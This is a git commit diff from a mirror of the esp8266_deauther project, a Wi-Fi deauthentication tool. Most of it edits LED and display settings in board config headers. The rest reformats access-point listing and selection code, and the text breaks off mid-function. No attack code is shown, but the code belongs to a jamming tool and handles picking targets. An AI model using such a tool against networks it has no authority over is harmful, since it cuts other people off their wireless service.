mirror of
https://github.com/SpacehuhnTech/esp8266_deauther.git
synced 2025-12-23 06:59:59 +01:00
v2.0.6
Rewritten LED classes and simplified config files
This commit is contained in:
@@ -23,15 +23,11 @@
|
|||||||
Adjust following settings for your type of LED
|
Adjust following settings for your type of LED
|
||||||
you can ignore the rest of the #define's
|
you can ignore the rest of the #define's
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
// === Settings for Digital LED === //
|
|
||||||
#define LED_ENABLE_R true
|
|
||||||
#define LED_ENABLE_G false
|
|
||||||
#define LED_ENABLE_B true
|
|
||||||
|
|
||||||
// === Settings for Digital LED and RGB LED === //
|
// === Settings for Digital LED and RGB LED === //
|
||||||
#define LED_CATHODE false // common ground (GND)
|
#define LED_ANODE false // common vcc (+)
|
||||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||||
#define LED_PIN_G 0
|
#define LED_PIN_G 255 // 255 = LED disabled
|
||||||
#define LED_PIN_B 2 // ESP-12 LED
|
#define LED_PIN_B 2 // ESP-12 LED
|
||||||
|
|
||||||
// === Settings for RGB LED and Neopixel LED === //
|
// === Settings for RGB LED and Neopixel LED === //
|
||||||
@@ -42,16 +38,6 @@
|
|||||||
#define LED_NEOPIXEL_NUM 12
|
#define LED_NEOPIXEL_NUM 12
|
||||||
#define LED_NEOPIXEL_PIN 15
|
#define LED_NEOPIXEL_PIN 15
|
||||||
|
|
||||||
// Parameter 1 = number of pixels in strip
|
|
||||||
// Parameter 2 = Arduino pin number (most are valid)
|
|
||||||
// Parameter 3 = pixel type flags, add together as needed:
|
|
||||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
|
||||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
|
||||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
|
||||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
|
||||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
|
||||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
|
||||||
|
|
||||||
// ===================== DISPLAY CONFIG ==================== //
|
// ===================== DISPLAY CONFIG ==================== //
|
||||||
#define USE_DISPLAY true // default display setting
|
#define USE_DISPLAY true // default display setting
|
||||||
|
|
||||||
|
|||||||
@@ -23,15 +23,11 @@
|
|||||||
Adjust following settings for your type of LED
|
Adjust following settings for your type of LED
|
||||||
you can ignore the rest of the #define's
|
you can ignore the rest of the #define's
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
// === Settings for Digital LED === //
|
|
||||||
#define LED_ENABLE_R true
|
|
||||||
#define LED_ENABLE_G false
|
|
||||||
#define LED_ENABLE_B true
|
|
||||||
|
|
||||||
// === Settings for Digital LED and RGB LED === //
|
// === Settings for Digital LED and RGB LED === //
|
||||||
#define LED_CATHODE false // common ground (GND)
|
#define LED_ANODE false // common vcc (+)
|
||||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||||
#define LED_PIN_G 0
|
#define LED_PIN_G 255 // 255 = LED disabled
|
||||||
#define LED_PIN_B 2 // ESP-12 LED
|
#define LED_PIN_B 2 // ESP-12 LED
|
||||||
|
|
||||||
// === Settings for RGB LED and Neopixel LED === //
|
// === Settings for RGB LED and Neopixel LED === //
|
||||||
@@ -41,8 +37,6 @@
|
|||||||
// === Settings for Neopixel LED === //
|
// === Settings for Neopixel LED === //
|
||||||
#define LED_NEOPIXEL_NUM 1
|
#define LED_NEOPIXEL_NUM 1
|
||||||
#define LED_NEOPIXEL_PIN 15
|
#define LED_NEOPIXEL_PIN 15
|
||||||
// if it doesn't work try changing NEO_GRB to NEO_GRBW
|
|
||||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
|
||||||
|
|
||||||
// ===================== DISPLAY CONFIG ==================== //
|
// ===================== DISPLAY CONFIG ==================== //
|
||||||
#define USE_DISPLAY true // default display setting
|
#define USE_DISPLAY true // default display setting
|
||||||
|
|||||||
@@ -23,15 +23,11 @@
|
|||||||
Adjust following settings for your type of LED
|
Adjust following settings for your type of LED
|
||||||
you can ignore the rest of the #define's
|
you can ignore the rest of the #define's
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
// === Settings for Digital LED === //
|
|
||||||
#define LED_ENABLE_R true
|
|
||||||
#define LED_ENABLE_G false
|
|
||||||
#define LED_ENABLE_B true
|
|
||||||
|
|
||||||
// === Settings for Digital LED and RGB LED === //
|
// === Settings for Digital LED and RGB LED === //
|
||||||
#define LED_CATHODE false // common ground (GND)
|
#define LED_ANODE false // common vcc (+)
|
||||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||||
#define LED_PIN_G 0
|
#define LED_PIN_G 255 // 255 = LED disabled
|
||||||
#define LED_PIN_B 2 // ESP-12 LED
|
#define LED_PIN_B 2 // ESP-12 LED
|
||||||
|
|
||||||
// === Settings for RGB LED and Neopixel LED === //
|
// === Settings for RGB LED and Neopixel LED === //
|
||||||
@@ -42,16 +38,6 @@
|
|||||||
#define LED_NEOPIXEL_NUM 1
|
#define LED_NEOPIXEL_NUM 1
|
||||||
#define LED_NEOPIXEL_PIN 9
|
#define LED_NEOPIXEL_PIN 9
|
||||||
|
|
||||||
// Parameter 1 = number of pixels in strip
|
|
||||||
// Parameter 2 = Arduino pin number (most are valid)
|
|
||||||
// Parameter 3 = pixel type flags, add together as needed:
|
|
||||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
|
||||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
|
||||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
|
||||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
|
||||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
|
||||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
|
||||||
|
|
||||||
// ===================== DISPLAY CONFIG ==================== //
|
// ===================== DISPLAY CONFIG ==================== //
|
||||||
#define USE_DISPLAY true // default display setting
|
#define USE_DISPLAY true // default display setting
|
||||||
|
|
||||||
|
|||||||
@@ -23,15 +23,11 @@
|
|||||||
Adjust following settings for your type of LED
|
Adjust following settings for your type of LED
|
||||||
you can ignore the rest of the #define's
|
you can ignore the rest of the #define's
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
// === Settings for Digital LED === //
|
|
||||||
#define LED_ENABLE_R true
|
|
||||||
#define LED_ENABLE_G false
|
|
||||||
#define LED_ENABLE_B true
|
|
||||||
|
|
||||||
// === Settings for Digital LED and RGB LED === //
|
// === Settings for Digital LED and RGB LED === //
|
||||||
#define LED_CATHODE false // common ground (GND)
|
#define LED_ANODE false // common vcc (+)
|
||||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||||
#define LED_PIN_G 0
|
#define LED_PIN_G 255 // 255 = LED disabled
|
||||||
#define LED_PIN_B 2 // ESP-12 LED
|
#define LED_PIN_B 2 // ESP-12 LED
|
||||||
|
|
||||||
// === Settings for RGB LED and Neopixel LED === //
|
// === Settings for RGB LED and Neopixel LED === //
|
||||||
@@ -42,16 +38,6 @@
|
|||||||
#define LED_NEOPIXEL_NUM 1
|
#define LED_NEOPIXEL_NUM 1
|
||||||
#define LED_NEOPIXEL_PIN 9
|
#define LED_NEOPIXEL_PIN 9
|
||||||
|
|
||||||
// Parameter 1 = number of pixels in strip
|
|
||||||
// Parameter 2 = Arduino pin number (most are valid)
|
|
||||||
// Parameter 3 = pixel type flags, add together as needed:
|
|
||||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
|
||||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
|
||||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
|
||||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
|
||||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
|
||||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
|
||||||
|
|
||||||
// ===================== DISPLAY CONFIG ==================== //
|
// ===================== DISPLAY CONFIG ==================== //
|
||||||
#define USE_DISPLAY true // default display setting
|
#define USE_DISPLAY true // default display setting
|
||||||
|
|
||||||
|
|||||||
@@ -23,16 +23,12 @@
|
|||||||
Adjust following settings for your type of LED
|
Adjust following settings for your type of LED
|
||||||
you can ignore the rest of the #define's
|
you can ignore the rest of the #define's
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
// === Settings for Digital LED === //
|
|
||||||
#define LED_ENABLE_R true
|
|
||||||
#define LED_ENABLE_G false
|
|
||||||
#define LED_ENABLE_B true
|
|
||||||
|
|
||||||
// === Settings for Digital LED and RGB LED === //
|
// === Settings for Digital LED and RGB LED === //
|
||||||
#define LED_CATHODE false // common ground (GND)
|
#define LED_ANODE false // common vcc (+)
|
||||||
#define LED_PIN_R 2 // ESP-12 LED
|
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||||
#define LED_PIN_G 0
|
#define LED_PIN_G 255 // 255 = LED disabled
|
||||||
#define LED_PIN_B 16 // NodeMCU on-board LED
|
#define LED_PIN_B 2 // ESP-12 LED
|
||||||
|
|
||||||
// === Settings for RGB LED and Neopixel LED === //
|
// === Settings for RGB LED and Neopixel LED === //
|
||||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||||
@@ -42,16 +38,6 @@
|
|||||||
#define LED_NEOPIXEL_NUM 1
|
#define LED_NEOPIXEL_NUM 1
|
||||||
#define LED_NEOPIXEL_PIN 15
|
#define LED_NEOPIXEL_PIN 15
|
||||||
|
|
||||||
// Parameter 1 = number of pixels in strip
|
|
||||||
// Parameter 2 = Arduino pin number (most are valid)
|
|
||||||
// Parameter 3 = pixel type flags, add together as needed:
|
|
||||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
|
||||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
|
||||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
|
||||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
|
||||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
|
||||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
|
||||||
|
|
||||||
// ===================== DISPLAY CONFIG ==================== //
|
// ===================== DISPLAY CONFIG ==================== //
|
||||||
#define USE_DISPLAY true // default display setting
|
#define USE_DISPLAY true // default display setting
|
||||||
|
|
||||||
|
|||||||
@@ -23,15 +23,11 @@
|
|||||||
Adjust following settings for your type of LED
|
Adjust following settings for your type of LED
|
||||||
you can ignore the rest of the #define's
|
you can ignore the rest of the #define's
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
// === Settings for Digital LED === //
|
|
||||||
#define LED_ENABLE_R true
|
|
||||||
#define LED_ENABLE_G false
|
|
||||||
#define LED_ENABLE_B true
|
|
||||||
|
|
||||||
// === Settings for Digital LED and RGB LED === //
|
// === Settings for Digital LED and RGB LED === //
|
||||||
#define LED_CATHODE false // common ground (GND)
|
#define LED_ANODE false // common vcc (+)
|
||||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||||
#define LED_PIN_G 0
|
#define LED_PIN_G 255 // 255 = LED disabled
|
||||||
#define LED_PIN_B 2 // ESP-12 LED
|
#define LED_PIN_B 2 // ESP-12 LED
|
||||||
|
|
||||||
// === Settings for RGB LED and Neopixel LED === //
|
// === Settings for RGB LED and Neopixel LED === //
|
||||||
@@ -42,16 +38,6 @@
|
|||||||
#define LED_NEOPIXEL_NUM 1
|
#define LED_NEOPIXEL_NUM 1
|
||||||
#define LED_NEOPIXEL_PIN 15
|
#define LED_NEOPIXEL_PIN 15
|
||||||
|
|
||||||
// Parameter 1 = number of pixels in strip
|
|
||||||
// Parameter 2 = Arduino pin number (most are valid)
|
|
||||||
// Parameter 3 = pixel type flags, add together as needed:
|
|
||||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
|
||||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
|
||||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
|
||||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
|
||||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
|
||||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
|
||||||
|
|
||||||
// ===================== DISPLAY CONFIG ==================== //
|
// ===================== DISPLAY CONFIG ==================== //
|
||||||
#define USE_DISPLAY false // default display setting
|
#define USE_DISPLAY false // default display setting
|
||||||
|
|
||||||
|
|||||||
@@ -23,15 +23,11 @@
|
|||||||
Adjust following settings for your type of LED
|
Adjust following settings for your type of LED
|
||||||
you can ignore the rest of the #define's
|
you can ignore the rest of the #define's
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
// === Settings for Digital LED === //
|
|
||||||
#define LED_ENABLE_R true
|
|
||||||
#define LED_ENABLE_G false
|
|
||||||
#define LED_ENABLE_B true
|
|
||||||
|
|
||||||
// === Settings for Digital LED and RGB LED === //
|
// === Settings for Digital LED and RGB LED === //
|
||||||
#define LED_CATHODE false // common ground (GND)
|
#define LED_ANODE false // common vcc (+)
|
||||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||||
#define LED_PIN_G 0
|
#define LED_PIN_G 255 // 255 = LED disabled
|
||||||
#define LED_PIN_B 2 // ESP-12 LED
|
#define LED_PIN_B 2 // ESP-12 LED
|
||||||
|
|
||||||
// === Settings for RGB LED and Neopixel LED === //
|
// === Settings for RGB LED and Neopixel LED === //
|
||||||
@@ -42,16 +38,6 @@
|
|||||||
#define LED_NEOPIXEL_NUM 1
|
#define LED_NEOPIXEL_NUM 1
|
||||||
#define LED_NEOPIXEL_PIN 4
|
#define LED_NEOPIXEL_PIN 4
|
||||||
|
|
||||||
// Parameter 1 = number of pixels in strip
|
|
||||||
// Parameter 2 = Arduino pin number (most are valid)
|
|
||||||
// Parameter 3 = pixel type flags, add together as needed:
|
|
||||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
|
||||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
|
||||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
|
||||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
|
||||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
|
||||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
|
||||||
|
|
||||||
// ===================== DISPLAY CONFIG ==================== //
|
// ===================== DISPLAY CONFIG ==================== //
|
||||||
#define USE_DISPLAY false // default display setting
|
#define USE_DISPLAY false // default display setting
|
||||||
|
|
||||||
|
|||||||
@@ -23,15 +23,11 @@
|
|||||||
Adjust following settings for your type of LED
|
Adjust following settings for your type of LED
|
||||||
you can ignore the rest of the #define's
|
you can ignore the rest of the #define's
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
// === Settings for Digital LED === //
|
|
||||||
#define LED_ENABLE_R true
|
|
||||||
#define LED_ENABLE_G false
|
|
||||||
#define LED_ENABLE_B true
|
|
||||||
|
|
||||||
// === Settings for Digital LED and RGB LED === //
|
// === Settings for Digital LED and RGB LED === //
|
||||||
#define LED_CATHODE false // common ground (GND)
|
#define LED_ANODE false // common vcc (+)
|
||||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||||
#define LED_PIN_G 0
|
#define LED_PIN_G 255 // 255 = LED disabled
|
||||||
#define LED_PIN_B 2 // ESP-12 LED
|
#define LED_PIN_B 2 // ESP-12 LED
|
||||||
|
|
||||||
// === Settings for RGB LED and Neopixel LED === //
|
// === Settings for RGB LED and Neopixel LED === //
|
||||||
@@ -40,18 +36,7 @@
|
|||||||
|
|
||||||
// === Settings for Neopixel LED === //
|
// === Settings for Neopixel LED === //
|
||||||
#define LED_NEOPIXEL_NUM 1
|
#define LED_NEOPIXEL_NUM 1
|
||||||
#define LED_NEOPIXEL_PIN 9
|
#define LED_NEOPIXEL_PIN 15
|
||||||
|
|
||||||
|
|
||||||
// Parameter 1 = number of pixels in strip
|
|
||||||
// Parameter 2 = Arduino pin number (most are valid)
|
|
||||||
// Parameter 3 = pixel type flags, add together as needed:
|
|
||||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
|
||||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
|
||||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
|
||||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
|
||||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
|
||||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
|
||||||
|
|
||||||
// ===================== DISPLAY CONFIG ==================== //
|
// ===================== DISPLAY CONFIG ==================== //
|
||||||
#define USE_DISPLAY false // default display setting
|
#define USE_DISPLAY false // default display setting
|
||||||
|
|||||||
@@ -11,46 +11,33 @@
|
|||||||
// =========================== //
|
// =========================== //
|
||||||
|
|
||||||
// ===================== LED CONFIG ==================== //
|
// ===================== LED CONFIG ==================== //
|
||||||
|
|
||||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||||
Uncomment the type of LED you're using
|
Uncomment the type of LED you're using
|
||||||
Only one of them can be defined at a time!
|
Only one of them can be defined at a time!
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
#define DIGITAL_LED
|
#define DIGITAL_LED
|
||||||
//#define RGB_LED
|
// #define RGB_LED
|
||||||
//#define NEOPIXEL_LED
|
// #define NEOPIXEL_LED
|
||||||
|
|
||||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||||
Adjust following settings for your type of LED
|
Adjust following settings for your type of LED
|
||||||
you can ignore the rest of the #define's
|
you can ignore the rest of the #define's
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||||
// === Settings for Digital LED === //
|
|
||||||
#define LED_ENABLE_R true
|
|
||||||
#define LED_ENABLE_G false
|
|
||||||
#define LED_ENABLE_B true
|
|
||||||
|
|
||||||
// === Settings for Digital LED and RGB LED === //
|
// === Settings for Digital LED and RGB LED === //
|
||||||
#define LED_CATHODE false // common ground (GND)
|
#define LED_ANODE false // common vcc (+)
|
||||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||||
#define LED_PIN_G 0
|
#define LED_PIN_G 255 // 255 = LED disabled
|
||||||
#define LED_PIN_B 2 // ESP-12 LED
|
#define LED_PIN_B 2 // ESP-12 LED
|
||||||
|
|
||||||
// === Settings for RGB LED and Neopixel LED === //
|
// === Settings for RGB LED and Neopixel LED === //
|
||||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||||
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
|
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
|
||||||
|
|
||||||
// === Settings for Neopixel LED === //
|
// === Settings for Neopixel LED === //
|
||||||
#define LED_NEOPIXEL_NUM 1
|
#define LED_NEOPIXEL_NUM 1
|
||||||
#define LED_NEOPIXEL_PIN 9
|
#define LED_NEOPIXEL_PIN 15
|
||||||
|
|
||||||
// Parameter 1 = number of pixels in strip
|
|
||||||
// Parameter 2 = Arduino pin number (most are valid)
|
|
||||||
// Parameter 3 = pixel type flags, add together as needed:
|
|
||||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
|
||||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
|
||||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
|
||||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
|
||||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
|
||||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
|
||||||
|
|
||||||
// ===================== DISPLAY CONFIG ==================== //
|
// ===================== DISPLAY CONFIG ==================== //
|
||||||
#define USE_DISPLAY false // default display setting
|
#define USE_DISPLAY false // default display setting
|
||||||
@@ -63,28 +50,27 @@
|
|||||||
#define BUTTON_DOWN 12
|
#define BUTTON_DOWN 12
|
||||||
#define BUTTON_A 13
|
#define BUTTON_A 13
|
||||||
|
|
||||||
//#define BUTTON_LEFT 12
|
// #define BUTTON_LEFT 12
|
||||||
//#define BUTTON_RIGHT 13
|
// #define BUTTON_RIGHT 13
|
||||||
//#define BUTTON_B 10
|
// #define BUTTON_B 10
|
||||||
|
|
||||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||||
Uncomment the type of display you're using
|
Uncomment the type of display you're using
|
||||||
Only one of them can be defined at a time!
|
Only one of them can be defined at a time!
|
||||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||||
*/
|
*/
|
||||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||||
//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
// #define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||||
|
|
||||||
/* RST = GPIO 5 (D1)
|
/* RST = GPIO 5 (D1)
|
||||||
DC = GPIO 4 (D2)
|
DC = GPIO 4 (D2)
|
||||||
CS = GPIO 15 (D8) or GND
|
CS = GPIO 15 (D8) or GND
|
||||||
SCK/SCL = GPIO 14 (D5)
|
SCK/SCL = GPIO 14 (D5)
|
||||||
SDA/MOSI = GPIO 13 (D7) */
|
SDA/MOSI = GPIO 13 (D7) */
|
||||||
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
// #define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||||
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
|
// #define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
|
||||||
|
|
||||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
// #define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||||
// ========================================================= //
|
// ========================================================= //
|
||||||
|
|
||||||
#endif
|
#endif // ifndef config_h
|
||||||
|
|
||||||
@@ -1,262 +1,283 @@
|
|||||||
#include "Accesspoints.h"
|
#include "Accesspoints.h"
|
||||||
|
|
||||||
Accesspoints::Accesspoints() {
|
Accesspoints::Accesspoints() {
|
||||||
list = new SimpleList<AP>;
|
list = new SimpleList<AP>;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::sort() {
|
void Accesspoints::sort() {
|
||||||
list->sort([](AP &a, AP &b) -> bool{
|
list->sort([](AP& a, AP& b) -> bool {
|
||||||
return WiFi.RSSI(a.id) < WiFi.RSSI(b.id);
|
return WiFi.RSSI(a.id) < WiFi.RSSI(b.id);
|
||||||
});
|
});
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::sortAfterChannel() {
|
void Accesspoints::sortAfterChannel() {
|
||||||
list->sort([](AP &a, AP &b) -> bool{
|
list->sort([](AP& a, AP& b) -> bool {
|
||||||
return WiFi.channel(a.id) > WiFi.channel(b.id);
|
return WiFi.channel(a.id) > WiFi.channel(b.id);
|
||||||
});
|
});
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::add(uint8_t id, bool selected) {
|
void Accesspoints::add(uint8_t id, bool selected) {
|
||||||
list->add(AP{id, selected});
|
list->add(AP{ id, selected });
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::printAll() {
|
void Accesspoints::printAll() {
|
||||||
prntln(AP_HEADER);
|
prntln(AP_HEADER);
|
||||||
int c = count();
|
int c = count();
|
||||||
if (c == 0)
|
|
||||||
prntln(AP_LIST_EMPTY);
|
if (c == 0) prntln(AP_LIST_EMPTY);
|
||||||
else
|
else
|
||||||
for (int i = 0; i < c; i++)
|
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||||
print(i, i == 0, i == c - 1);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::printSelected() {
|
void Accesspoints::printSelected() {
|
||||||
prntln(AP_HEADER);
|
prntln(AP_HEADER);
|
||||||
int max = selected();
|
int max = selected();
|
||||||
if (selected() == 0) {
|
|
||||||
prntln(AP_NO_AP_SELECTED);
|
if (selected() == 0) {
|
||||||
return;
|
prntln(AP_NO_AP_SELECTED);
|
||||||
}
|
return;
|
||||||
int c = count();
|
}
|
||||||
int j = 0;
|
int c = count();
|
||||||
for (int i = 0; i < c && j < max; i++) {
|
int j = 0;
|
||||||
if (getSelected(i)) {
|
|
||||||
print(i, j == 0, j == max - 1);
|
for (int i = 0; i < c && j < max; i++) {
|
||||||
j++;
|
if (getSelected(i)) {
|
||||||
|
print(i, j == 0, j == max - 1);
|
||||||
|
j++;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::print(int num) {
|
void Accesspoints::print(int num) {
|
||||||
print(num, true, true);
|
print(num, true, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::print(int num, bool header, bool footer) {
|
void Accesspoints::print(int num, bool header, bool footer) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
if (header) {
|
|
||||||
prntln(AP_TABLE_HEADER);
|
if (header) {
|
||||||
prntln(AP_TABLE_DIVIDER);
|
prntln(AP_TABLE_HEADER);
|
||||||
}
|
prntln(AP_TABLE_DIVIDER);
|
||||||
prnt(buildString(String(),(String)num, 2));
|
}
|
||||||
prnt(buildString(String(SPACE) + getSSID(num), String(), 33));
|
prnt(buildString(String(), (String)num, 2));
|
||||||
prnt(buildString(String(SPACE) + getNameStr(num), String(), 17));
|
prnt(buildString(String(SPACE) + getSSID(num), String(), 33));
|
||||||
prnt(buildString(String(SPACE), (String)getCh(num), 3));
|
